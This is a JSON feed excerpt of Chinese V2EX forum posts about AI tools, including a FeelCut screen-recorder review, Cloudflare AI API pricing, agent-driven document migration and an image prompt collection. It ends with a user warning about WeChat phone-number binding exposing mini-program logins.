      "content_html": "<p>\u4e0d\u9700\u8981\u670d\u52a1\u5668\uff0c\u53ea\u9700\u8981\u6709 cf \u8d26\u53f7\u5c31\u884c\uff0c\u76f4\u63a5\u90e8\u7f72\n\u914d\u7f6e\u4e0b\u73af\u5883\u53d8\u91cf\u5c31\u53ef\u4ee5\u5b9e\u73b0\u53ef\u4ee5\u81ea\u5df1 div \u7684\u5bfc\u822a\u7ad9\n\u9879\u76ee\u5730\u5740\u662f <a href=\"https://github.com/maodeyu180/mao_nav\" rel=\"nofollow\">https://github.com/maodeyu180/mao_nav</a>\n\u90e8\u7f72\u6559\u7a0b\u5728 md</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/c375903573", 
        "name": "c375903573", 
        "avatar": "https://cdn.v2ex.com/gravatar/08e2a4ed2f83b8b912a6d526704a6079?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213179", 
      "title": "\u505a\u4e86\u4e09\u5e74\u6280\u672f\u6587\u6863\uff0c\u6211\u7ec8\u4e8e\u4e0d\u7528\u624b\u52a8\u622a\u56fe\u5199\u6559\u7a0b\u4e86", 
      "id": "https://www.v2ex.com/t/1213179", 
      "date_published": "2026-05-16T09:02:14+00:00", 
      "content_html": "<p>\u4e0a\u4e2a\u6708\u4ea7\u54c1\u4e0a\u7ebf\u65b0\u529f\u80fd\uff0cLeader \u8ba9\u6211\u51fa\u4e00\u5957\u64cd\u4f5c\u624b\u518c\u3002</p>\n<p>\u6309\u4ee5\u524d\u7684\u6d41\u7a0b\uff1a\u6253\u5f00\u5f55\u5c4f\u5de5\u5177\u5f55\u4e00\u904d \u2192 \u5bfc\u51fa\u89c6\u9891 \u2192 \u9010\u5e27\u622a\u56fe \u2192 \u6253\u5f00 Word \u2192 \u7c98\u8d34\u622a\u56fe \u2192 \u5199\u6b65\u9aa4\u8bf4\u660e \u2192 \u6392\u7248\u8c03\u683c\u5f0f\u3002\u4e00\u4e2a 5 \u5206\u949f\u7684\u64cd\u4f5c\u6d41\u7a0b\uff0c\u6298\u817e\u4e0b\u6765\u4e24\u4e2a\u5c0f\u65f6\u8d77\u6b65\u3002</p>\n<p>\u8fd9\u6b21\u540c\u4e8b\u4e22\u7ed9\u6211\u4e00\u4e2a\u5de5\u5177\uff0c\u8bf4\"\u4f60\u8bd5\u8bd5\u8fd9\u4e2a\"\u3002\u62b1\u7740\u8bd5\u8bd5\u770b\u7684\u5fc3\u6001\u7528\u4e86\u4e00\u4e0b\u5348\uff0c\u611f\u89c9\u50cf\u662f\u53d1\u73b0\u4e86\u65b0\u5927\u9646\u3002</p>\n<p><img alt=\"FeelCut \u4ea7\u54c1\u6982\u89c8\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/homepage.png\"/></p>\n<hr/>\n<h2>\u5148\u8bf4\u5f55\u5c4f\u8fd9\u4e2a\u73af\u8282</h2>\n<p>\u4ee5\u524d\u5f55\u5c4f\u5c31\u662f\u673a\u68b0\u5730\u628a\u5c4f\u5e55\u64cd\u4f5c\u5f55\u4e0b\u6765\uff0c\u56de\u653e\u7684\u65f6\u5019\u753b\u9762\u5e73\u6de1\u5982\u6c34\uff0c\u8be5\u770b\u4e0d\u6e05\u7684\u5730\u65b9\u8fd8\u662f\u770b\u4e0d\u6e05\u3002</p>\n<p>\u8fd9\u4e2a\u53eb <strong>FeelCut</strong> \u7684\u5f55\u5c4f\u5de5\u5177\uff0c\u6709\u4e2a\u633a\u6709\u610f\u601d\u7684\u529f\u80fd\u2014\u2014<strong>\u667a\u80fd\u8fd0\u955c</strong>\u3002\u5b83\u4f1a\u81ea\u52a8\u8ffd\u8e2a\u9f20\u6807\u4f4d\u7f6e\uff0c\u5728\u5173\u952e\u64cd\u4f5c\u7684\u65f6\u5019\u81ea\u52a8\u653e\u5927\u805a\u7126\u3002\u5f55\u5b8c\u56de\u770b\uff0c\u753b\u9762\u4f1a\u6709\u4e00\u79cd\"\u7eaa\u5f55\u7247\u5f0f\"\u7684\u63a8\u62c9\u611f\uff0c\u50cf\u662f\u6709\u4eba\u5728\u5e2e\u4f60\u638c\u955c\u4e00\u6837\u3002</p>\n<p>\u8bf4\u5b9e\u8bdd\u7b2c\u4e00\u6b21\u770b\u5230\u6548\u679c\u7684\u65f6\u5019\u6709\u70b9\u88ab\u60ca\u8273\u5230\u3002\u4e0d\u662f\u6211\u526a\u8f91\u6c34\u5e73\u7a81\u98de\u731b\u8fdb\u4e86\uff0c\u662f AI \u5e2e\u6211\u5e72\u4e86\u8fd9\u4ef6\u4e8b\u3002</p>\n<p><img alt=\"FeelCut \u667a\u80fd\u5f55\u5c4f\u754c\u9762\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/screenshot2.png\"/></p>\n<p>\u6574\u4e2a\u5f55\u5c4f\u6d41\u7a0b\u5206\u4e09\u6b65\u8d70\uff1a</p>\n<p><strong>\u7b2c\u4e00\u6b65\uff0c\u9009\u62e9\u5f55\u5236\u5185\u5bb9</strong>\u2014\u2014\u53ef\u4ee5\u9009\u7a97\u53e3\u3001\u9009\u533a\u57df\uff0c\u4e5f\u80fd\u540c\u65f6\u5f00\u6444\u50cf\u5934\u3002</p>\n<p><img alt=\"\u9009\u62e9\u5f55\u5236\u5185\u5bb9\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/how_1.jpg\"/></p>\n<p><strong>\u7b2c\u4e8c\u6b65\uff0c\u8c03\u6574\u65f6\u95f4\u7ebf</strong>\u2014\u2014AI \u5df2\u7ecf\u5e2e\u4f60\u751f\u6210\u4e86\u8fd0\u955c\u811a\u672c\uff0c\u4f60\u53ef\u4ee5\u5728\u65f6\u95f4\u7ebf\u4e0a\u5fae\u8c03\uff0c\u54ea\u91cc\u653e\u5927\u3001\u54ea\u91cc\u5e73\u79fb\uff0c\u4e00\u76ee\u4e86\u7136\u3002</p>\n<p><img alt=\"\u8c03\u6574\u65f6\u95f4\u7ebf\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/how_2.png\"/></p>\n<p><strong>\u7b2c\u4e09\u6b65\uff0c\u5bfc\u51fa\u7d20\u6750</strong>\u2014\u2014\u652f\u6301 MP4 \u548c GIF \uff0c\u76f4\u63a5\u62ff\u53bb\u7528\u5c31\u884c\u3002</p>\n<p><img alt=\"\u5bfc\u51fa\u7d20\u6750\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/how_3.png\"/></p>\n<p>\u53e6\u5916\u51e0\u4e2a\u5b9e\u7528\u7684\u5c0f\u529f\u80fd\uff1a</p>\n<ul>\n<li><strong>AI \u81ea\u52a8\u52a0\u5b57\u5e55</strong>\uff0c\u652f\u6301\u4e8c\u5341\u591a\u79cd\u8bed\u8a00\uff0c\u800c\u4e14\u662f\u672c\u5730\u5904\u7406\uff0c\u8bed\u97f3\u6570\u636e\u4e0d\u4f1a\u4e0a\u4f20\uff0c\u9690\u79c1\u65b9\u9762\u6bd4\u8f83\u5b89\u5fc3</li>\n<li><strong>\u4e00\u952e\u53bb\u9664\u9759\u97f3\u7247\u6bb5</strong>\uff0c\u5f55\u5c4f\u65f6\u4e2d\u95f4\u72b9\u8c6b\u3001\u505c\u987f\u7684\u90e8\u5206\u53ef\u4ee5\u5feb\u901f\u526a\u6389\uff0c\u4e0d\u7528\u5728\u65f6\u95f4\u7ebf\u4e0a\u4e00\u70b9\u70b9\u62d6</li>\n<li><strong>\u624b\u673a\u5f53\u7b2c\u4e8c\u673a\u4f4d</strong>\uff0c\u626b\u4e2a\u7801\u5c31\u80fd\u628a\u624b\u673a\u6444\u50cf\u5934\u63a5\u8fdb\u6765\u5f53\u753b\u4e2d\u753b\uff0c\u62cd\u5b9e\u7269\u6f14\u793a\u7684\u65f6\u5019\u5f88\u65b9\u4fbf\uff0c\u4e0d\u7528\u989d\u5916\u4e70\u6444\u50cf\u5934</li>\n</ul>\n<p>\u5f55\u5c4f\u672c\u8eab\u662f\u514d\u8d39\u7684\uff0cWindows \u3001Mac \u3001Linux \u90fd\u80fd\u88c5\uff0c\u4e5f\u6ca1\u6709\u6c34\u5370\u3002</p>\n<hr/>\n<h2>\u4f46\u771f\u6b63\u8ba9\u6211\u89c9\u5f97\"\u56de\u4e0d\u53bb\"\u7684\uff0c\u662f\u7b2c\u4e8c\u6b65</h2>\n<p>\u5f55\u5b8c\u5c4f\uff0c\u63a5\u4e0b\u6765\u624d\u662f\u91cd\u5934\u620f\u2014\u2014<strong>\u628a\u89c6\u9891\u53d8\u6210\u6587\u6863</strong>\u3002</p>\n<p>\u4ee5\u524d\u8fd9\u4e2a\u8fc7\u7a0b\u6700\u6298\u78e8\u4eba\u3002\u4e00\u4e2a\u64cd\u4f5c\u5f55\u4e0b\u6765\u5341\u51e0\u5206\u949f\uff0c\u4f60\u8981\u53cd\u590d\u6682\u505c\u3001\u622a\u56fe\u3001\u5199\u8bf4\u660e\u3002\u6b65\u9aa4\u591a\u4e86\u5bb9\u6613\u6f0f\uff0c\u622a\u56fe\u622a\u4e0d\u51c6\u8fd8\u5f97\u91cd\u6765\u3002</p>\n<p>FeelCut \u5957\u4ef6\u91cc\u6709\u4e2a\u53eb <strong>ManualAI</strong> \u7684\u5de5\u5177\uff0c\u4e13\u95e8\u5e72\u8fd9\u4e8b\u3002\u628a\u5f55\u597d\u7684\u89c6\u9891\u4f20\u4e0a\u53bb\uff0c\u5b83\u4f1a\u81ea\u52a8\uff1a</p>\n<ol>\n<li><strong>\u63d0\u53d6\u5173\u952e\u5e27</strong>\u2014\u2014\u81ea\u52a8\u8bc6\u522b\u64cd\u4f5c\u8282\u70b9\uff0c\u622a\u53d6\u5173\u952e\u6b65\u9aa4\u7684\u622a\u56fe</li>\n<li><strong>\u8bed\u97f3\u8f6c\u6587\u5b57</strong>\u2014\u2014\u4f60\u5f55\u5c4f\u65f6\u8bf4\u7684\u8bdd\uff0c\u5b83\u4f1a\u8f6c\u6210\u7ed3\u6784\u5316\u7684\u6b65\u9aa4\u8bf4\u660e</li>\n<li><strong>\u751f\u6210\u64cd\u4f5c\u6587\u6863</strong>\u2014\u2014AI \u628a\u622a\u56fe\u548c\u6587\u5b57\u63cf\u8ff0\u7ec4\u5408\u6210\u4e00\u4efd\u5e26\u7f16\u53f7\u3001\u5e26\u622a\u56fe\u7684\u64cd\u4f5c\u6307\u5357</li>\n</ol>\n<p>\u6574\u4e2a\u8fc7\u7a0b\u5927\u6982\u4e24\u4e09\u5206\u949f\u3002\u51fa\u6765\u7684\u521d\u7a3f\u5df2\u7ecf\u50cf\u6a21\u50cf\u6837\u4e86\uff0c\u5728\u5b83\u81ea\u5e26\u7684\u7f16\u8f91\u5668\u91cc\u7a0d\u5fae\u6539\u6539\u63aa\u8f9e\u3001\u8c03\u8c03\u987a\u5e8f\uff0c\u5c31\u80fd\u76f4\u63a5\u5bfc\u51fa PDF \u6216 Word \u3002</p>\n<p><img alt=\"ManualAI \u89c6\u9891\u8f6c\u6587\u6863\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://feelcut.com/manualai.png\"/></p>\n<p>\u4ece\"\u5f55\u5b8c\u89c6\u9891\"\u5230\"\u62ff\u5230\u4e00\u4efd\u53ef\u4ee5\u53d1\u51fa\u53bb\u7684\u6587\u6863\"\uff0c\u6574\u4e2a\u6d41\u7a0b\u4e0b\u6765\u53ef\u80fd\u4e5f\u5c31\u5341\u6765\u5206\u949f\u3002\u5bf9\u6bd4\u4ee5\u524d\u4e24\u5c0f\u65f6\u8d77\u6b65\u7684\u624b\u5de5\u6d41\u7a0b\uff0c\u8fd9\u4e2a\u6548\u7387\u63d0\u5347\u662f\u5b9e\u6253\u5b9e\u7684\u3002</p>\n<hr/>\n<h2>\u9002\u5408\u8c01\u7528\uff1f</h2>\n<p>\u8bf4\u8bf4\u6211\u770b\u5230\u7684\u51e0\u4e2a\u573a\u666f\uff1a</p>\n<ul>\n<li><strong>\u6280\u672f\u6587\u6863 / \u6559\u7a0b\u4f5c\u8005</strong>\uff1a\u8fd9\u662f\u6700\u76f4\u63a5\u7684\u4f7f\u7528\u573a\u666f\uff0c\u5f55\u4e00\u904d\u64cd\u4f5c\uff0c\u6587\u6863\u5c31\u51fa\u6765\u4e86</li>\n<li><strong>\u4ea7\u54c1\u7ecf\u7406</strong>\uff1a\u4ea7\u54c1\u6f14\u793a\u3001\u9700\u6c42\u8bf4\u660e\uff0c\u5f55\u4e2a\u5c4f\u914d\u4e0a\u6587\u6863\u6bd4\u7eaf\u6587\u5b57\u63cf\u8ff0\u6e05\u6670\u5f97\u591a</li>\n<li><strong>\u4f01\u4e1a\u57f9\u8bad / HR</strong>\uff1a\u65b0\u4eba\u5165\u804c\u7684\u64cd\u4f5c\u6307\u5357\uff0c\u5f55\u4e00\u904d\u5c31\u6709\uff0c\u4e0d\u7528\u6bcf\u6b21\u90fd\u624b\u52a8\u5199</li>\n<li><strong>\u72ec\u7acb\u5f00\u53d1\u8005</strong>\uff1a\u7ed9\u81ea\u5df1\u7684\u4ea7\u54c1\u505a\u4f7f\u7528\u8bf4\u660e\u3001Demo \u6f14\u793a\uff0c\u7701\u65f6\u7701\u529b</li>\n<li><strong>\u77e5\u8bc6\u535a\u4e3b / \u6559\u80b2\u5185\u5bb9\u521b\u4f5c\u8005</strong>\uff1a\u89c6\u9891\u548c\u56fe\u6587\u5185\u5bb9\u540c\u6b65\u4ea7\u51fa\uff0c\u4e00\u4efd\u7d20\u6750\u4e24\u79cd\u8f93\u51fa</li>\n</ul>\n<h2>\u6700\u540e</h2>\n<p>\u6211\u5176\u5b9e\u4e0d\u592a\u559c\u6b22\u7ed9\u4eba\u5b89\u5229\u5de5\u5177\uff0c\u5927\u90e8\u5206\u5de5\u5177\u7528\u51e0\u5929\u5c31\u6254\u4e86\u3002\u4f46\u8fd9\u4e2a\u786e\u5b9e\u5e2e\u6211\u7701\u4e86\u4e0d\u5c11\u65f6\u95f4\uff0c\u5c24\u5176\u662f\"\u5f55\u5c4f\u81ea\u52a8\u53d8\u6587\u6863\"\u8fd9\u4e2a\u6d41\u7a0b\uff0c\u7528\u8fc7\u4e4b\u540e\u771f\u7684\u5f88\u96be\u56de\u5230\u7eaf\u624b\u52a8\u7684\u65b9\u5f0f\u3002</p>\n<p>\u5982\u679c\u4f60\u65e5\u5e38\u5de5\u4f5c\u4e2d\u7ecf\u5e38\u9700\u8981\u505a\u64cd\u4f5c\u6559\u7a0b\u3001\u4ea7\u54c1\u6f14\u793a\u3001\u57f9\u8bad\u6587\u6863\u4e4b\u7c7b\u7684\uff0c\u53ef\u4ee5\u8bd5\u8bd5\u3002\u53cd\u6b63\u5f55\u5c4f\u514d\u8d39\uff0cManualAI \u4e5f\u6709\u514d\u8d39\u989d\u5ea6\uff0c\u4e0d\u597d\u7528\u5378\u4e86\u5c31\u662f\u3002</p>\n<p>\u5b98\u7f51\u5728\u8fd9\uff1a<strong><a href=\"http://feelcut.com\" rel=\"nofollow\">feelcut.com</a></strong></p>\n<p>\u8bd5\u5b8c\u89c9\u5f97\u597d\uff0c\u56de\u6765\u8c22\u6211\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yesha", 
        "name": "yesha", 
        "avatar": "https://cdn.v2ex.com/avatar/ef6c/b246/78686_large.png?m=1777985946"
      }, 
      "url": "https://www.v2ex.com/t/1213128", 
      "title": "\u53d1\u73b0 cloudflare \u4e5f\u6709\u5404\u79cd AI api, \u5305\u542b GPT-5.5, Claude Opus 4.7", 
      "id": "https://www.v2ex.com/t/1213128", 
      "date_published": "2026-05-16T02:49:44+00:00", 
      "content_html": "\u4ef7\u683c\u504f\u8d35, \u4e0d\u8981\u7528\u5404\u79cd\u4e2d\u8f6c\u4e86,\u4e2d\u8f6c\u4e0d\u9760\u8c31<br />GPT-5.5------------------<br />Input tokens (per 1M)<br />US$5.00<br />Output tokens (per 1M)<br />US$30.00<br /><br />Claude Opus 4.7---------------<br />Input tokens (per 1M)<br />US$5.00<br />Output tokens (per 1M)<br />US$25.00<br />Cached input tokens (per 1M)<br />US$0.50<br />Cache creation tokens (per 1M)<br />US$6.25"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/jieke0205", 
        "name": "jieke0205", 
        "avatar": "https://cdn.v2ex.com/gravatar/57f17e8ded7ffa79d72e1ffaae969868?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213080", 
      "date_modified": "2026-05-15T13:27:33+00:00", 
      "content_html": "<p>\u56e0\u4e3a\u4f7f\u7528\u4e60\u60ef\uff0c\u5728\u8bed\u96c0\u4e0a\u7559\u4e86\u4e00\u4e9b\u8d44\u6599\u548c\u5e73\u65f6\u8bb0\u5f55\uff0c\u4f46\u662f\u8bed\u96c0\u4e0d\u7ed9\u514d\u8d39\u7528\u6237\u63d0\u4f9b mcp \u7684\u652f\u6301\uff0c\u4e8e\u662f\u5c1d\u8bd5\u4e86 opencode + <a href=\"https://github.com/vercel-labs/agent-browser\" rel=\"nofollow\">agent-browser</a> \u8ba9 agent \u5728\u6d4f\u89c8\u5668\u4e0a\u8bfb\u53d6\u8bed\u96c0\u7684\u6587\u6863\u518d\u53bb notion \u4e0a\u521b\u5efa\u5bf9\u5e94\u7684\u6587\u6863\u3002</p>\n<p>\u6a21\u578b\u7528\u7684\u662f\u514d\u8d39\u7684 deepseekv4 flash \uff0c\u7b49\u4e8e\u767d\u5ad6\uff0c\u6700\u7ec8\u8fc1\u79fb\u7684\u6548\u679c\u4e5f\u633a\u4e0d\u9519\uff0c\u76f8\u5f53 amazing \uff01</p>\n<p>PS:</p>\n<p>\u4f7f\u7528 agent-browser \u65f6\u5019\u8981\u660e\u786e\u544a\u77e5 agent \u5148\u6253\u5f00\u6d4f\u89c8\u5668\u8ba9\u6211\u767b\u5f55\u8bed\u96c0</p>\n<p>\u5199\u6587\u4e4b\u9645\uff0c\u53d1\u73b0\u8bed\u96c0\u6709\u975e\u5b98\u65b9\u7684 <a href=\"https://lobehub.com/zh/mcp/saoqixiaomm-yuque-mcp\" rel=\"nofollow\">mcp</a> \u652f\u6301 \ud83d\ude12</p>\n", 
      "date_published": "2026-05-15T13:21:06+00:00", 
      "title": "\u57fa\u4e8e agent \u7684\u4ece\u8bed\u96c0\u5230 notion \u6587\u6863\u8fc1\u79fb\u65b9\u6848", 
      "id": "https://www.v2ex.com/t/1213080"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/charless123", 
        "name": "charless123", 
        "avatar": "https://cdn.v2ex.com/gravatar/9a9f5e26716000f9c8eb83dcee3decf8?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213012", 
      "title": "\u6211\u6574\u7406\u4e86 5000+ \u6761\u4e2d\u6587 AI \u56fe\u7247\u63d0\u793a\u8bcd\uff0c\u5973\u88c5\u3001\u7ae5\u88c5\u3001\u7535\u5546\u4e3b\u56fe\u548c\u5c0f\u7ea2\u4e66\u5c01\u9762\u90fd\u80fd\u76f4\u63a5\u590d\u5236", 
      "id": "https://www.v2ex.com/t/1213012", 
      "date_published": "2026-05-15T08:13:29+00:00", 
      "content_html": "<p>\u505a GPT IMAGE 2 \u65f6\u6c89\u6dc0\u4e86\u4e00\u6279\u4e2d\u6587 AI \u56fe\u7247\u63d0\u793a\u8bcd\uff0c\u5148\u6574\u7406\u4e86\u4e00\u4e2a\u5f00\u6e90\u7cbe\u9009\u7248\u3002</p>\n<p>\u76ee\u524d\u6709 5000+ \u6761\uff0c\u8986\u76d6 AI \u5973\u88c5\u3001\u7ae5\u88c5\u3001\u7535\u5546\u4e3b\u56fe\u3001\u4ea7\u54c1\u6444\u5f71\u3001\u5c0f\u7ea2\u4e66\u5c01\u9762\u548c\u5e7f\u544a\u6d77\u62a5\u3002\u6bcf\u6761\u5c3d\u91cf\u5199\u6210\u53ef\u66ff\u6362\u53d8\u91cf\u7684\u6a21\u677f\uff0c\u4e5f\u63d0\u4f9b JSON \u6570\u636e\uff0c\u65b9\u4fbf\u4e8c\u6b21\u5f00\u53d1\u6216\u76f4\u63a5\u590d\u5236\u3002</p>\n<p>GitHub: <a href=\"https://github.com/AITOOLS101/ai-image-prompt-cookbook\" rel=\"nofollow\">https://github.com/AITOOLS101/ai-image-prompt-cookbook</a>\n\u5728\u7ebf\u7248: <a href=\"https://gptimg2.art/zh/prompts/gpt-image-2\" rel=\"nofollow\">https://gptimg2.art/zh/prompts/gpt-image-2</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/mastergo", 
        "name": "mastergo", 
        "avatar": "https://cdn.v2ex.com/avatar/df18/65db/301501_large.png?m=1766926779"
      }, 
      "url": "https://www.v2ex.com/t/1213005", 
      "title": "\u4eba\u751f\u82e6\u77ed\uff0c\u6211\u7528 Open Design", 
      "id": "https://www.v2ex.com/t/1213005", 
      "date_published": "2026-05-15T07:47:19+00:00", 
      "content_html": "<p>\u6628\u5929\u4e0b\u5348\u62bd\u7a7a\u628a Codex CLI \u88c5\u4e0a\uff0c\u901a\u8fc7 CC Switch \u628a TokenGo \u91cc\u7684 GPT-5.5 \u914d\u7f6e\u8fdb\u53bb\uff0c\u518d\u7528 Open Design \u8dd1\u4e86\u4e00\u8f6e\u539f\u578b\u3002\u6574\u5957\u94fe\u8def\u82b1\u4e86\u5927\u6982\u4e00\u5c0f\u65f6\uff0c\u8f93\u51fa\u7684\u539f\u578b\u6c34\u5e73\u548c Claude Opus 4.7 \u5df2\u7ecf\u4e0d\u5206\u4e0a\u4e0b\u3002</p>\n<p>\u6211\u8fd9\u5957\u4f7f\u7528\u94fe\u8def\u662f\u8fd9\u6837\u7684\u3002</p>\n<p>\u7b2c\u4e00\u8282\u70b9\u662f Codex CLI \u3002OpenAI \u5b98\u65b9\u7684 coding CLI \uff0cnpm \u5168\u5c40\u88c5\u4e00\u4e0b\u5c31\u884c\uff0c\u914d\u7f6e\u8fc7\u7a0b\u6ca1\u4ec0\u4e48\u5751\u3002</p>\n<p>\u7b2c\u4e8c\u8282\u70b9\u662f CC Switch \u3002\u8f7b\u91cf\u7684\u6a21\u578b\u5207\u6362\u5de5\u5177\uff0c\u539f\u672c\u662f\u7ed9 Claude Code \u7528\u7684\uff0c\u73b0\u5728\u88ab\u5f88\u591a\u4eba\u7528\u6765\u8de8 CLI \u7ba1\u7406\u591a\u4e2a endpoint \u3002\u6211\u7528\u5b83\u7ed9 Codex \u6ce8\u5165\u81ea\u5b9a\u4e49\u7684 baseUrl \u548c API key \u3002</p>\n<p>\u7b2c\u4e09\u8282\u70b9\u662f OpenAI \u8f6c\u53d1\u3002\u628a GPT-5.5 \u63a5\u5230 CC Switch \u91cc\u3002\u4e2d\u8f6c\u7684\u4ef7\u503c\u5728\u4e8e\u6210\u672c\u53ef\u63a7\u3001\u7701\u53bb\u5916\u5361\u8fd9\u4e00\u6b65\u3001\u7f51\u7edc\u6761\u4ef6\u4e5f\u4e0d\u7528\u5355\u72ec\u5b89\u6392\u3002\u8fd9\u6761\u94fe\u8def\u4efb\u4f55\u4e00\u4e2a\u4e2d\u8f6c\u670d\u52a1\u7406\u8bba\u4e0a\u90fd\u80fd\u66ff\u4ee3\uff0c\u5173\u952e\u662f\u8981\u6709\u8fd9\u4e00\u5c42\u3002</p>\n<p>\u7b2c\u56db\u8282\u70b9\u662f Open Design \u3002pnpm tools-dev \u8d77\u670d\u52a1\uff0c\u6d4f\u89c8\u5668\u6253\u5f00\u540e\u4f1a\u81ea\u52a8\u8bc6\u522b\u6211 PATH \u4e0a\u7684 Codex \u3002Skill \u9ed8\u8ba4\u9009\u4e86 web-prototype \uff0c\u8bbe\u8ba1\u7cfb\u7edf\u9009\u4e86 Neutral Modern \u3002</p>\n<p><a href=\"https://open-design.ai\" rel=\"nofollow\">https://open-design.ai</a></p>\n"
    }, 
    {
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        "name": "justsomac", 
        "avatar": "https://cdn.v2ex.com/gravatar/820d369eb029edb287004a3d2b2a62e6?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1212963", 
      "title": "\u9694\u58c1\u7ad9\u53c2\u4e0e\u4e86\u6b21\u62bd\u5956\uff0c\u8d26\u6237\u88ab\u7981\u4e86\u2026", 
      "id": "https://www.v2ex.com/t/1212963", 
      "date_published": "2026-05-15T06:09:17+00:00", 
      "content_html": "<p>\u60a8\u7684\u5e10\u6237\u5df2\u88ab\u7981\u8a00</p>\n<p>LINUX DO <a href=\"mailto:noreply@linux.do\">noreply@linux.do</a>\nThu, May 14, 11:12\u202fPM (14 hours ago)\nto me</p>\n<p>\u60a8\u5df2\u88ab\u8bba\u575b\u7981\u8a00\u3002</p>\n<h2>\u539f\u56e0 - \u975e\u5fc5\u8981\u4e0d\u62bd\u5956</h2>\n<p>\u8bf4\u5b9e\u8bdd\uff0c\u6ca1\u600e\u4e48\u4ed4\u7ec6\u4e86\u89e3\u8fc7\u793e\u533a\u51c6\u5219\uff0c\u6ca1\u60f3\u5230\u8fd8\u6709\u8fd9\u79cd\u89c4\u5219\uff0c\u5c31\u633a\u60ca\u8bb6\u7684\u2026</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/chwii", 
        "name": "chwii", 
        "avatar": "https://cdn.v2ex.com/gravatar/49395df1008efd2ef62c2021228f75f9?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1212945", 
      "title": "\u5982\u679c\u4f60\u66fe\u4f7f\u7528\u81ea\u5df1\u7684\u624b\u673a\u53f7\u5728\u522b\u4eba\u7684\u8bbe\u5907/\u5fae\u4fe1\u4e0a\u767b\u5f55\u5c0f\u7a0b\u5e8f\uff0c\u8fd9\u662f\u53ef\u80fd\u4f1a\u53d1\u751f\u7684\u4e8b\u3002", 
      "id": "https://www.v2ex.com/t/1212945", 
      "date_published": "2026-05-15T04:20:19+00:00", 
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</p>\n<ul>\n<li>\u5728\u975e\u5e38\u7528\u8bbe\u5907\u4e0a\u767b\u5f55\u5fae\u4fe1\u5c0f\u53f7</li>\n<li>\u6253\u5f00\u652f\u6301\u201c\u4e00\u952e\u767b\u5f55\u201d\u7684\u5c0f\u7a0b\u5e8f\uff08\u5404\u5bb6\u7684\u53eb\u6cd5\u4e0d\u540c\uff0c\u76ee\u7684\u662f\u89e6\u53d1\u8c03\u7528\u5fae\u4fe1\u83b7\u53d6\u624b\u673a\u53f7\u7684 API \uff09\uff0c\u5524\u8d77\u5fae\u4fe1\u5b98\u65b9\u7684\u624b\u673a\u53f7\u6388\u6743\u754c\u9762</li>\n<li>\u5fae\u4fe1\u5f39\u51fa\u624b\u673a\u53f7\u9009\u62e9\u6846\uff0c\u9ed8\u8ba4\u663e\u793a\u5f53\u524d <em>\u5fae\u4fe1\u7ed1\u5b9a\u53f7\u7801</em> </li>\n<li>\u9009\u62e9\u4e0b\u65b9\u7684 <em>\u4f7f\u7528\u5176\u5b83\u53f7\u7801</em> \uff08\u53e6\u4e00\u4e2a\u7b49\u4ef7\u5165\u53e3\u662f\uff1a\u5fae\u4fe1-\u53d1\u73b0-\u5c0f\u7a0b\u5e8f-\u53f3\u4e0a\u89d2\u5c0f\u4eba\u5934\u50cf-\u6211\u7684\u624b\u673a\u53f7\u7801-\u6dfb\u52a0\u624b\u673a\u53f7\uff09</li>\n<li>\u5728\u5f39\u51fa\u7684\u5fae\u4fe1\u7684 <em>\u6dfb\u52a0\u624b\u673a\u53f7</em> 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</li>\n</ul>\n<p>\u4e0a\u8ff0\u64cd\u4f5c\u6d41\u7a0b\u5176\u5b9e\u770b\u8d77\u6765\u5b8c\u5168\u7b26\u5408\u9884\u671f\uff0c\u6211\u76f8\u4fe1\u8be5\u529f\u80fd\u4e5f\u662f\u5fae\u4fe1\u56e2\u961f\u4e3a\u591a\u624b\u673a\u53f7\u7528\u6237\u8003\u8651\u800c\u5f00\u53d1\u7684\u3002  </p>\n<p>\u4f46\u771f\u6b63\u7684\u95ee\u9898\u4e5f\u6070\u6070\u5728\u8fd9\u91cc\uff1a<strong>\u8fd9\u4e2a\u7ed1\u5b9a\u64cd\u4f5c\u4f3c\u4e4e\u5e76\u4e0d\u53ea\u662f\u4e00\u6b21\u6027\u6388\u6743\uff0c\u66f4\u50cf\u662f\u628a\u67d0\u4e2a\u624b\u673a\u53f7\u4fdd\u5b58\u5230\u4e86\u5f53\u524d\u5fae\u4fe1\u53f7\u4e0b\u9762\u3002</strong> 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<strong>\u767b\u5f55\u90e8\u5206\u652f\u6301\u624b\u673a\u53f7\u5feb\u901f\u9a8c\u8bc1\u7684\u5c0f\u7a0b\u5e8f</strong> \u7684\u201c\u94a5\u5319\u201d\u3002</p>\n<h3>\u5176\u6b21\uff0c\u201c\u94a5\u5319\u201d\u7ed9\u51fa\u53bb\u540e\uff0c\u4f60\u672a\u5fc5\u80fd\u81ea\u5df1\u6536\u56de\u6765\u3002</h3>\n<p>\u81f3\u5c11\u6211\u76ee\u524d\u6ca1\u6709\u627e\u5230\u4e00\u4e2a\u5165\u53e3\uff0c\u53ef\u4ee5\u53cd\u67e5\u8fd9\u4e2a\u624b\u673a\u53f7\u66fe\u7ecf\u88ab\u6dfb\u52a0\u5230\u54ea\u4e9b\u5fae\u4fe1\u53f7\u91cc\uff0c\u4e5f\u6ca1\u6709\u627e\u5230\u4e00\u4e2a\u5730\u65b9\u53ef\u4ee5\u7edf\u4e00\u89e3\u7ed1\u3002  